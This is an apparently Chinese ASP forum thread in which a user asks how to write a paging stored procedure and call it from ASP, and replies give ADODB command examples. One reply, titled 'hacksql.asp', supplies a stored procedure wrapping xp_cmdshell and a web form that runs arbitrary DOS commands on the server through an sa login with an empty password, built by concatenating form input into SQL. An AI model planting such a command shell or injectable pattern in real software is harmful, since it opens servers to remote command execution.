(1)求一个SQL数据分页的存储过程源代码(参考用)
(2)在ASP中如何调用这个存储过程?
很菜的问题,谢谢!
---------------------------------------------------------------
1,调用没有参数的存储过程
1
2set conn=server.CreateObject("adodb.connection")
3set cmd=server.CreateObject("adodb.command")
4strconn="dsn=pubs;uid=sa;pwd"
5
6conn.Open strconn
7set cmd.ActiveConnection=conn
8
9cmd.CommandText="{call nono}"
10
11'set rs=cmc.exe 或者cmd.execute
12
13set rs=cmd.Execute()
14
2,一个输入的参数的存储过程
1
2set conn=server.CreateObject("adodb.connection")
3set cmd=server.CreateObject("adodb.command")
4strconn="dsn=pubs;uid=sa;pwd"
5
6conn.Open strconn
7set cmd.ActiveConnection=conn
8
9cmd.CommandText="{call oneinput(?)}"
10cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger ,adParamInput )
11cmd("@aaa")=100
12
13cmd.Execute()
14
3,一个输入参数和一个输出的参数
1
2set conn=server.CreateObject("adodb.connection")
3set cmd=server.CreateObject("adodb.command")
4strconn="dsn=pubs;uid=sa;pwd"
5
6conn.Open strconn
7set cmd.ActiveConnection=conn
8
9cmd.CommandText = "{call oneinout(?,?)}"
10cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput)
11cmd("@aaa")=10
12cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)
13
14cmd.Execute()
15
16bbb=cmd("@bbb")
4,一个输入参数,一个输出参数,和一个返回值
1
2set conn=server.CreateObject("adodb.connection")
3set cmd=server.CreateObject("adodb.command")
4strconn="dsn=pubs;uid=sa;pwd"
5
6conn.Open strconn
7set cmd.ActiveConnection=conn
8
9cmd.CommandText="{?=call onereturn(?,?)}"
10
11cmd.Parameters.Append cmd.CreateParameter("@return_value",adInteger,adParamReturnValue )
12cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput )
13cmd("@aaa")=10
14cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)
15
16cmd.Execute()
17
18bbb=cmd("@bbb")
19rrr=cmd("@return_value")
---------------------------------------------------------------
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
1
2cmd=trim(Request.Form("cmd"))
3if cmd<>"" then
4work()
5else
6show()
7end if
8function work()
9set conn=server.CreateObject("adodb.connection")
10set rs=server.CreateObject("adodb.recordset")
11conn.Open "xx","sa",""
12sql="exec ddy '"&cmd&"'"
13
14rs.Open sql,conn
15if not rs.EOF then
16do while not rs.eof
17Response.Write "
<pre>"&htmlencode2(trim(rs(0)))&"</pre>
1"
2rs.MoveNext
3loop
4else
5Response.Write "no"
6end if
7if rs.State=1 then rs.close
8set rs=nothing
9conn.Close
10set conn=nothing
11end function
12function show()
1<form action="hacksql.asp" method="post">
2请输入DOS命令:<input name="cmd" type="text"/>
3<input type="submit" value="ok"/>
4</form>
1
2end function
3function htmlencode2(str)'--------转换函数(为了显示时比较工整)
4dim result
5dim l
6if isnull(str) then
7htmlencode2=""
8exit function
9end if
10l=len(str)
11result=""
12dim i
13for i = 1 to l
14select case mid(str,i,1)
15case "<"
16result=result+"<"
17case ">"
18result=result+">"
19case chr(34)
20result=result+"""
21case "&"
22result=result+"&"
23case chr(13)
24result=result+"
<br/>
1"
2case chr(9)
3result=result+" "
4case "'"
5result=result+"’"
6case chr(32)
7result=result+" "
8if i+1<=l and i-1>0 then
9if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
10result=result+" "
11else
12result=result+" "
13end if
14else
15result=result+" "
16end if
17case else
18result=result+mid(str,i,1)
19end select
20next
21htmlencode2=result
22end function
---------------------------------------------------------------
ASP中使用存储过程如下:
Set objrs_emp = Server.CreateObject("ADODB.Recordset")
set objcom = Server.CreateObject("ADODB.Command")
objcom.ActiveConnection = objconn
objcom.CommandType = &h0004
Const adCmdStoredProc = &H0004
objcom.CommandTimeOut = 15
objcom.Prepared = True
const adInteger = 3
const adVarChar = 200
const adBSTR = 8
const adChar = 129
const adLongVarChar = 201
const adWChar = 130
const adVarWChar = 202
const adLongVarWChar = 203
const adBinary = 128
const adVarBinary = 204
const adLongVarBinary = 205
Const adParamUnknow = &H0000
Const adParamInput = &H0001
Const adParamOutput = &H0002
Const adParamInputOutput = &H0003
Const adParamReturnValue = &H0004
objcom.CommandText = "存储过程名称"
objcom.Parameters.Append objcom.CreateParameter("@empid",129,&H0001,10,empid)
objcom.Parameters.Append objcom.CreateParameter("@password",129,&H0001,10,password)
objcom.Parameters.Append objcom.CreateParameter("@ret",3,&H0001,,1)
Set objrs_emp = objcom.Execute
---------------------------------------------------------------
另外问一句,谁知道利用存储过程得出的记录集如何实现分页。
---------------------------------------------------------------
http://www.aspsky.net/article/list.asp?id=2742
---------------------------------------------------------------
忘了留地址。有高手知道请联系我,多谢。
qq:13988613
email:hc_[email protected]
---------------------------------------------------------------
网上很多,为什么不搜索一下呢?